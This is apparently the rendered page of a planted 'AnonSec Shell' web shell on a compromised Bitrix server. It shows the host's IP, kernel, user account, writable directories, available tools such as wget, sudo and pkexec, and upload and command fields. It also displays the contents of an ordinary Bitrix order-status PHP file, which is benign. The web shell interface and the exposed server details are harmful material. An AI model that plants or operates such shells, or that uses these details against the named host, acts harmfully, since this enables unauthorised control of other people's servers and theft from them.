AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.118.195.162
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/sale/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/sale/lib/orderstatus.php
<?php

namespace Bitrix\Sale;

use Bitrix\Main;
use	Bitrix\Sale\Internals\StatusTable;

/**
 * Class OrderStatus
 * @package Bitrix\Sale
 */
class OrderStatus extends StatusBase
{
	const TYPE = 'O';

	/**
	 * @return array
	 * @throws Main\ArgumentNullException
	 * @throws Main\ArgumentOutOfRangeException
	 * @throws Main\NotImplementedException
	 */
	public static function getDisallowPayStatusList()
	{
		$allowFlag = false;
		$resultList = array();

		$allowPayStatus = Main\Config\Option::get("sale", "allow_pay_status", static::getInitialStatus());

		$statusList = static::getAllStatuses();
		if (!empty($statusList))
		{
			foreach ($statusList as $statusId)
			{
				if ($allowPayStatus == $statusId)
				{
					break;
				}

				if ($allowFlag === false)
				{
					$resultList[] = $statusId;
				}
			}
		}

		return $resultList;
	}

	/**
	 * @return array
	 * @throws Main\ArgumentNullException
	 * @throws Main\ArgumentOutOfRangeException
	 * @throws Main\NotImplementedException
	 */
	public static function getAllowPayStatusList()
	{
		$allowFlag = false;
		$resultList = array();

		$allowPayStatus = Main\Config\Option::get("sale", "allow_pay_status", static::getInitialStatus());

		$statusList = static::getAllStatuses();
		if (!empty($statusList))
		{
			foreach ($statusList as $statusId)
			{
				if ($allowPayStatus == $statusId)
				{
					$allowFlag = true;
				}

				if ($allowFlag === true)
				{
					$resultList[] = $statusId;
				}
			}
		}

		return $resultList;
	}

	/**
	 * @param $statusId
	 * @return bool
	 * @throws Main\ArgumentNullException
	 * @throws Main\ArgumentOutOfRangeException
	 * @throws Main\NotImplementedException
	 */
	public static function isAllowPay($statusId)
	{
		$allowPayStatusList = static::getAllowPayStatusList();

		if (!empty($allowPayStatusList))
		{
			foreach ($allowPayStatusList as $allowStatusId)
			{
				if ($allowStatusId == $statusId)
				{
					return true;
				}

			}
		}

		return false;
	}

	/**
	 * @return mixed
	 */
	public static function getInitialStatus()
	{
		return 'N';
	}

	/**
	 * @return mixed
	 */
	public static function getFinalStatus()
	{
		return 'F';
	}
}

Anon7 - 2022
AnonSec Team